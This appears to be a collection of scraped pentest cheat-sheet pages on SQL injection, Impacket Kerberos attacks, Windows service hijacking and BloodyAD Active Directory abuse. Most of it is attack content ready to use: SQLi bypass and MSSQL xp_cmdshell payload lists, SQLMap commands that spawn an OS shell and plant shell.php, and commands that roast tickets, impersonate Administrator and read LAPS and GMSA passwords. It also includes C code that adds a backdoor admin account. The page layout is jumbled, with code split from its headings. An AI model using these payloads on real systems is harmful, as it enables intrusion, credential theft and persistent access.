Bypass[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#authentication-bypass) chevron-rightMSSQL Generic Payloads[hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#mssql-generic-payloads) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#sqlmap-basics) **SQLMap Basics** ----------------------------------------------------------------------------------------------------------------------------------------- Command Description sqlmap -h View the basic help menu sqlmap -hh View the advanced help menu sqlmap -u "http://www.example.com/vuln.php?id=1" --batch Run SQLMap without asking for user input sqlmap 'http://www.example.com/' --data 'uid=1&name=test' SQLMap with POST request sqlmap 'http://www.example.com/' --data 'uid=1\*&name=test' POST request specifying an injection point with an asterisk sqlmap -r req.txt Passing an HTTP request file to SQLMap sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' Specifying a cookie header sqlmap -u www.target.com --data='id=1' --method PUT Specifying a PUT request sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt Store traffic to an output file sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch Specify verbosity level sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" Specifying a prefix or suffix sqlmap -u www.example.com/?id=1 -v 3 --level=5 Specifying the level and risk sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba Basic DB enumeration sqlmap -u "http://www.example.com/?id=1" --tables -D testdb Table enumeration sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname Table/row enumeration sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" Conditional enumeration sqlmap -u "http://www.example.com/?id=1" --schema Database schema enumeration sqlmap -u "http://www.example.com/?id=1" --search -T user Searching for data sqlmap -u "http://www.example.com/?id=1" --passwords --batch Password enumeration and cracking sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" Anti-CSRF token bypass sqlmap --list-tampers List all tamper scripts sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba Check for DBA privileges sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" Reading a local file sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" Writing a file sqlmap -u "http://www.example.com/?id=1" --os-shell Spawning an OS shell * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#second-order-sqli) **Second Order SQLi** ------------------------------------------------------------------------------------------------------------------------------------------------- > Second-order SQL injection arises when user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. To detect the vulnerability, it is normally necessary to submit suitable data in one location, and then use some other application function that processes the data in an unsafe way One example of second order SQLi is the following i faced during a CTF challenge: 1. The target web application's registration form suffered from SQLi 2. After registering a user, a specific field inside the user profile showed the result of the SQL injection 3. To achieve a second-order SQLi with sqlmap i used the following: * `sqlmap -r req --batch --dump --risk 3 --level 5 --second-req req2 --dbms=mysql --tamper=space2comment --dump` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#nosql-injection) **NoSQL Injection** --------------------------------------------------------------------------------------------------------------------------------------------- > * NoSQL databases provide looser consistency restrictions than traditional SQL databases. > > * By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. > > * Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. > **Useful External Resources:** 1. [https://gitlab.com/pentest-tools/PayloadsAllTheThings/-/tree/master/NoSQL%20Injectionarrow-up-right](https://gitlab.com/pentest-tools/PayloadsAllTheThings/-/tree/master/NoSQL%20Injection) 2. [https://nullsweep.com/nosql-injection-cheatsheet/arrow-up-right](https://nullsweep.com/nosql-injection-cheatsheet/) 3. [https://cheatsheet.haax.fr/web-pentest/injections/server-side-injections/nosql/arrow-up-right](https://cheatsheet.haax.fr/web-pentest/injections/server-side-injections/nosql/) 4. [https://book.hacktricks.xyz/pentesting-web/nosql-injectionarrow-up-right](https://book.hacktricks.xyz/pentesting-web/nosql-injection) [PreviousCross Site Scripting (XSS)chevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/cross-site-scripting-xss) [NextFile Upload Vulnerabilitieschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/file-uploads) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#introduction) * [Useful Resources](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#useful-resources) * [Finding a SQLi attack vector](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#finding-a-sqli-attack-vector) * [SQL Injection Filter Evasion - Unicode Normalization](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#sql-injection-filter-evasion-unicode-normalization) * [UNION-Based SQL Injection Payloads](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#union-based-sql-injection-payloads) * [SQL Injection Payloads Lists](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#sql-injection-payloads-lists) * [SQLMap Basics](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#sqlmap-basics) * [Second Order SQLi](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#second-order-sqli) * [NoSQL Injection](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/sql-injection#nosql-injection) Copy '-' ' ' '&' '^' '*' ' or 1=1 limit 1 -- -+ '="or' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' '-||0' "-||0" "-" " " "&" "^" "*" '--' "--" '--' / "--" ' OR 1=1 -- // " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x or 2 like 2 or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' -- - admin' # admin'/* admin' or '2' LIKE '1 admin' or 2 LIKE 2-- admin' or 2 LIKE 2# admin') or 2 LIKE 2# admin') or 2 LIKE 2-- admin') or ('2' LIKE '2 admin') or ('2' LIKE '2'# admin') or ('2' LIKE '2'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin';-- azer admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 Copy ; -- '; -- '); -- '; exec master..xp_cmdshell 'ping 10.10.1.2'-- ' grant connect to name; grant resource to name; -- ' or 1=1 -- ' union (select @@version) -- ' union (select NULL, (select @@version)) -- ' union (select NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) -- '; if not(substring((select @@version),25,1) <> 0) waitfor delay '0:0:2' -- '; if not(substring((select @@version),25,1) <> 5) waitfor delay '0:0:2' -- '; if not(substring((select @@version),25,1) <> 8) waitfor delay '0:0:2' -- '; if not(substring((select @@version),24,1) <> 1) waitfor delay '0:0:2' -- '; if not(select system_user) <> 'sa' waitfor delay '0:0:2' -- '; if is_srvrolemember('sysadmin') > 0 waitfor delay '0:0:2' -- '; if not((select serverproperty('isintegratedsecurityonly')) <> 1) waitfor delay '0:0:2' -- '; if not((select serverproperty('isintegratedsecurityonly')) <> 0) waitfor delay '0:0:2' -- select @@version select @@servernamee select @@microsoftversione select * from master..sysserverse select * from sysusers exec master..xp_cmdshell 'ipconfig+/all' exec master..xp_cmdshell 'net+view' exec master..xp_cmdshell 'net+users' exec master..xp_cmdshell 'ping+' BACKUP database master to disks='\\\\backupdb.dat' create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"-- --- # Impacket | Pentest Notes Impacket is a collection of Python classes for working with network protocols. This guide covers common security testing techniques using Impacket tools for Active Directory environments. [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#as-rep-roasting-getnpusers) AS-REP Roasting (GetNPUsers) ----------------------------------------------------------------------------------------------------------------------------------------------------------------- AS-REP Roasting is an attack technique that targets user accounts that have "Do not require Kerberos preauthentication" enabled. This allows attackers to request authentication data for any user and receive an encrypted TGT that can be cracked offline. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#as-rep-roasting-with-user-list) AS-REP Roasting with User List Copy # AS-REP Roasting using a user list from 'users.txt' impacket-GetNPUsers -no-pass -usersfile users.txt domain.htb/ 2>/dev/null ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#as-rep-roasting-for-specific-user) AS-REP Roasting for Specific User Copy # AS-REP Roasting for a specific user impacket-GetNPUsers domain.htb/user -no-pass 2>/dev/null [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-attack-getuserspns) Kerberoasting Attack (GetUserSPNs) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Kerberoasting is an attack technique that targets service accounts in Active Directory. It involves requesting service tickets for Service Principal Names (SPNs) and attempting to crack the encrypted portion offline. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-with-valid-credentials) Kerberoasting with Valid Credentials Copy # Kerberoasting Attack with valid credentials and NTLM authentication impacket-GetUserSPNs -dc-ip 10.10.10.10 domain.htb/user -request 2>/dev/null impacket-GetUserSPNs -dc-ip 10.10.10.10 domain.htb/user:'password' -request 2>/dev/null ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-with-kerberos-authentication) Kerberoasting with Kerberos Authentication ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-without-domain-credentials) Kerberoasting without Domain Credentials [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#obtaining-ticket-granting-ticket-tgt-gettgt) Obtaining Ticket Granting Ticket \[TGT\] (getTGT) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- The Ticket Granting Ticket (TGT) is used in Kerberos authentication to obtain service tickets. These commands show different methods to obtain a TGT. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#tgt-with-password-authentication) TGT with Password Authentication ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#tgt-with-ntlm-hash) TGT with NTLM Hash ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#tgt-with-kerberos-authentication) TGT with Kerberos Authentication [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#resource-based-constrained-delegation-rbcd-getst) Resource Based Constrained Delegation \[RBCD\] (getST) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Resource Based Constrained Delegation (RBCD) is a delegation mechanism that allows a service to impersonate users to other services. This attack technique can be used for privilege escalation. ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#rbcd-with-ntlm-authentication) RBCD with NTLM Authentication ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#rbcd-with-pass-the-hash) RBCD with Pass-the-Hash ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#rbcd-with-kerberos-authentication) RBCD with Kerberos Authentication [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#important-notes) Important Notes ----------------------------------------------------------------------------------------------------------------------------------------- * Replace `domain.htb` with your target domain * Replace IP addresses with appropriate target IPs * Ensure you have proper authorization before conducting any security testing * These techniques should only be used in authorized penetration testing scenarios * Always follow responsible disclosure practices [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#prerequisites) Prerequisites ------------------------------------------------------------------------------------------------------------------------------------- * Impacket toolkit installed * Network access to target domain controller * Appropriate permissions for security testing activities [PreviousBloodyADchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad) [NextKerbrutechevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/kerbrute) Last updated 9 months ago * [AS-REP Roasting (GetNPUsers)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#as-rep-roasting-getnpusers) * [AS-REP Roasting with User List](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#as-rep-roasting-with-user-list) * [AS-REP Roasting for Specific User](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#as-rep-roasting-for-specific-user) * [Kerberoasting Attack (GetUserSPNs)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-attack-getuserspns) * [Kerberoasting with Valid Credentials](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-with-valid-credentials) * [Kerberoasting with Kerberos Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-with-kerberos-authentication) * [Kerberoasting without Domain Credentials](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#kerberoasting-without-domain-credentials) * [Obtaining Ticket Granting Ticket \[TGT\] (getTGT)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#obtaining-ticket-granting-ticket-tgt-gettgt) * [TGT with Password Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#tgt-with-password-authentication) * [TGT with NTLM Hash](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#tgt-with-ntlm-hash) * [TGT with Kerberos Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#tgt-with-kerberos-authentication) * [Resource Based Constrained Delegation \[RBCD\] (getST)](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#resource-based-constrained-delegation-rbcd-getst) * [RBCD with NTLM Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#rbcd-with-ntlm-authentication) * [RBCD with Pass-the-Hash](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#rbcd-with-pass-the-hash) * [RBCD with Kerberos Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#rbcd-with-kerberos-authentication) * [Important Notes](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#important-notes) * [Prerequisites](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket#prerequisites) Copy # Kerberoasting Attack using Kerberos authentication impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.domain.htb domain.htb/user -k -no-pass -request 2>/dev/null Copy # Kerberoasting without domain credentials but with AS-REP Roast user # Requires user list in 'users.txt' impacket-GetUserSPNs -no-preauth 'asrep-user' -request -usersfile users.txt domain.htb/ -dc-ip 10.10.10.161 2>/dev/null Copy # Obtaining TGT using basic password authentication impacket-getTGT domain.htb/user:'password' -dc-ip 10.10.10.10 Copy # Obtaining TGT using NTLM Hash (Pass-the-Hash) impacket-getTGT domain.htb/user -hashes : -dc-ip 10.10.10.10 Copy # Obtaining TGT using Kerberos authentication impacket-getTGT domain.htb/user -k -no-pass -dc-ip 10.10.10.10 Copy # RBCD using NTLM authentication impacket-getST -spn 'cifs/DC.domain.htb' -impersonate Administrator -dc-ip 10.10.10.10 'domain.htb'/'target_rbcd':'password' 2>/dev/null Copy # RBCD using Pass-the-Hash technique impacket-getST -spn 'cifs/DC.domain.htb' -impersonate Administrator -dc-ip 10.10.10.10 'domain.htb'/'target_rbcd' -hashes : 2>/dev/null Copy # RBCD using Kerberos authentication impacket-getST -spn 'cifs/DC.domain.htb' -impersonate Administrator -dc-ip 10.10.10.10 'domain.htb'/'target_rbcd' -k -no-pass 2>/dev/null --- # Services Hijacking | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#service-binary-hijacking-manually) Service Binary Hijacking - Manually ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Each Windows service has an associated binary file. These binary files are executed when the service is started or transitioned into a running state. As a result, a lower-privileged user could replace the program with a malicious one. To execute the replaced binary, the user can restart the service or, in case the service is configured to start automatically, reboot the machine. Once the service is restarted, the malicious binary will be executed with the privileges of the service, such as LocalSystem. To get a list of all installed Windows services: `Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}` To get the permissions of a specific binary: `icacls "C:\xampp\apache\bin\httpd.exe"` We typically want to have the `Full Access (F)` permission, allowing us to write to and modify the binary and therefore, replace it. The permission must be set to our users, everyone, or similar. If you have full access or write permissions, you can replace the service binary and then use `net stop servicename` followed by `net start servicename` if that doesn't work, check the start mode of the service using: `Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}` if it is set to`Auto` then you will need to restart the computer using: `shutdown /r /t 0` circle-exclamation Notice that using `net stop servicename` followed by `net start servicename` will most probably print an error message after the start command, even if the exploitation was successful. The reason is that, basically, the start command starts the hijacked binary, meaning that its code will be executed rather than the original service's code, which is why the service effectively fails to start. * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#service-binary-hijacking-using-powerup) Service Binary Hijacking - Using PowerUp After we import `PowerUp.ps1`, we can use `Get-ModifiableServiceFile`. This function displays services the current user can modify, such as the service binary or configuration files. PowerUp also provides us an `AbuseFunction`, which is a built-in function to replace the binary and, if we have sufficient permissions, restart it. The default behaviour is to create a new local user called `john` with the password `Password123!` and add it to the local `Administrators` group. * To check the service related to a specific binary: * `Import-Module .\PowerUp.ps1` * `echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Litera` * Invoke all PowerUp checks: * `Import-Module .\PowerUp.ps1` * `Invoke-AllChecks` * Invoke the AbuseFunction on a specific service binary: * `Import-Module .\PowerUp.ps1` * `Invoke-ServiceAbuse -Name 'ServiceName'` * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#c-code-snippet-to-replace-the-vulnerable-executable) C code snippet to replace the vulnerable executable circle-check You can use and compile the following C code snippet to replace vulnerable service binaries. * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#unquoted-service-paths) Unquoted Service Paths ---------------------------------------------------------------------------------------------------------------------------------------------------------------- When a service is installed, the registry configuration specifies a path to the binary that should be executed on service start. If the binary is `not encapsulated within quotes`, Windows will attempt to locate the binary in **different folders**. For example, is the service binary path is `C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe` Then Windows will attempt to run the following executables: * `C:\Program.exe\` * `C:\Program Files (x86)\System.exe` * and so on... In these cases, you can put a malicious executable in these directories to escalate privileges * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#enumeration-and-exploitation) Enumeration & Exploitation Using wmic: * `wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """` Using PowerUp.ps1: * `Import-Module .\PowerUp.ps1` * `Get-UnquotedService` In order to exploit and subvert the original unquoted service call, we must create a malicious executable, place it in a directory that corresponds to one of the interpreted paths, and match its name to the interpreted filename. Then, once the service is started, our file gets executed with the same privileges that the service starts with. Often, this happens to be the LocalSystem account, which results in a successful privilege escalation attack. Supposing you have found the following unquoted service path: `C:\Program Files\My Program\My service\service.exe` Use `icacls c:\`, then `C:\Program Files\` and so on until you have `(W) permissions on a folder` then `copy the malicious file with the target binary's name` and restart the service using `Stop-Service ServiceName`and `Start-Service ServiceName` You can also that automatically using `PowerUp.ps1`: 1. `Import-Module .\PowerUp.ps1` 2. `Write-ServiceBinary -Name 'ServiceName' -Path "C:\path\to\example.exe"` 3. `Restart-Service ServiceName` [PreviousFile System ACLschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/file-system-acls) [NextUser Account Control (UAC) Bypasschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/user-account-control-uac-bypass) Last updated 11 months ago * [Service Binary Hijacking - Manually](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#service-binary-hijacking-manually) * [Service Binary Hijacking - Using PowerUp](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#service-binary-hijacking-using-powerup) * [C code snippet to replace the vulnerable executable](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#c-code-snippet-to-replace-the-vulnerable-executable) * [Unquoted Service Paths](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#unquoted-service-paths) * [Enumeration & Exploitation](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/unquoted-service-paths#enumeration-and-exploitation) Copy #include int main () { int i; i = system ("net user backdoor backdoor123 /add"); i = system ("net localgroup administrators backdoor /add"); return 0; } //compile on kali using x86_64-w64-mingw32-gcc adduser.c -o binaryfilename.exe --- # BloodyAD | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#introduction) Introduction ----------------------------------------------------------------------------------------------------------------------------------- This tool can perform specific LDAP calls to a domain controller for Active Directory privilege escalation. On **Kali Linux**, the tool can be installed simply through the following command: Copy sudo apt install bloodyad -y ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#github-repository) GitHub Repository **GitHub Repository:** [CravateRouge/bloodyAD - BloodyAD is an Active Directory Privilege Escalation Frameworkarrow-up-right](https://github.com/CravateRouge/bloodyAD) [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#attacking-a-d-using-bloodyad) Attacking AD using bloodyAD ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#read-laps-password) Read LAPS Password Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#read-gmsa-password) Read GMSA Password Copy bloodyAD --host 10.10.10.10 -d domain.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#enable-dont_req_preauth-for-asreproast) Enable DONT\_REQ\_PREAUTH for ASREPRoast _**Requires GenericAll/GenericWrite permissions**_ ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#disable-accountdisable-to-enable-a-disabled-user) Disable ACCOUNTDISABLE to Enable a Disabled User ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#add-user-to-a-group) Add User to a Group ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#shadow-credentials-attack) Shadow Credentials Attack _**Followed by Pass-the-Hash**_ ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-serviceprincipalname-spn-to-user-for-kerberoasting-attack) Assign servicePrincipalName (SPN) to User for Kerberoasting Attack _**Requires GenericAll/GenericWrite permissions over the target user**_ ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#make-user-owner-of-an-object) Make User Owner of an Object _**Requires WriteOwner permissions**_ ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-genericall-permissions-over-a-user-to-an-object-for-full-control) Assign GenericAll Permissions Over a User to an Object for Full Control ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#change-user-password) Change User Password ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#add-dcsync-permissions-over-an-object) Add DCSync Permissions Over an Object ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-malicious-script-to-user-executes-on-login) Assign Malicious Script to User (Executes on Login) ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#create-new-dns-record-for-dns-spoofing-attacks) Create New DNS Record for DNS Spoofing Attacks ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-different-upn-userprincipalname-for-upn-spoofing-attacks) Assign Different UPN (userPrincipalName) for UPN Spoofing Attacks ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-value-to-altsecurityidentities-attribute-for-x.509-esc14-attacks) Assign Value to altSecurityIdentities Attribute for X.509/ESC14 Attacks [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#notes) Notes --------------------------------------------------------------------------------------------------------------------- * Replace `10.10.10.10` with the target domain controller IP address * Replace `domain.htb` with the target domain name * Replace `'user'` and `'password'` with valid credentials * Replace target placeholders (`TARGET`, `USER_TARGET`, `OBJECT_TARGET`, etc.) with actual target names * Some commands require specific permissions as noted in their descriptions [PreviousToolschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools) [NextImpacketchevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/impacket) Last updated 9 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#introduction) * [GitHub Repository](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#github-repository) * [Attacking AD using bloodyAD](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#attacking-a-d-using-bloodyad) * [Read LAPS Password](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#read-laps-password) * [Read GMSA Password](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#read-gmsa-password) * [Enable DONT\_REQ\_PREAUTH for ASREPRoast](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#enable-dont_req_preauth-for-asreproast) * [Disable ACCOUNTDISABLE to Enable a Disabled User](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#disable-accountdisable-to-enable-a-disabled-user) * [Add User to a Group](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#add-user-to-a-group) * [Shadow Credentials Attack](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#shadow-credentials-attack) * [Assign servicePrincipalName (SPN) to User for Kerberoasting Attack](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-serviceprincipalname-spn-to-user-for-kerberoasting-attack) * [Make User Owner of an Object](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#make-user-owner-of-an-object) * [Assign GenericAll Permissions Over a User to an Object for Full Control](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#assign-genericall-permissions-over-a-user-to-an-object-for-full-control) * [Change User Password](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#change-user-password) * [Add DCSync Permissions Over an Object](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/bloodyad#add-dcsync-permissions-over-an-object) * [Assign Malicious Script to User (Executes on 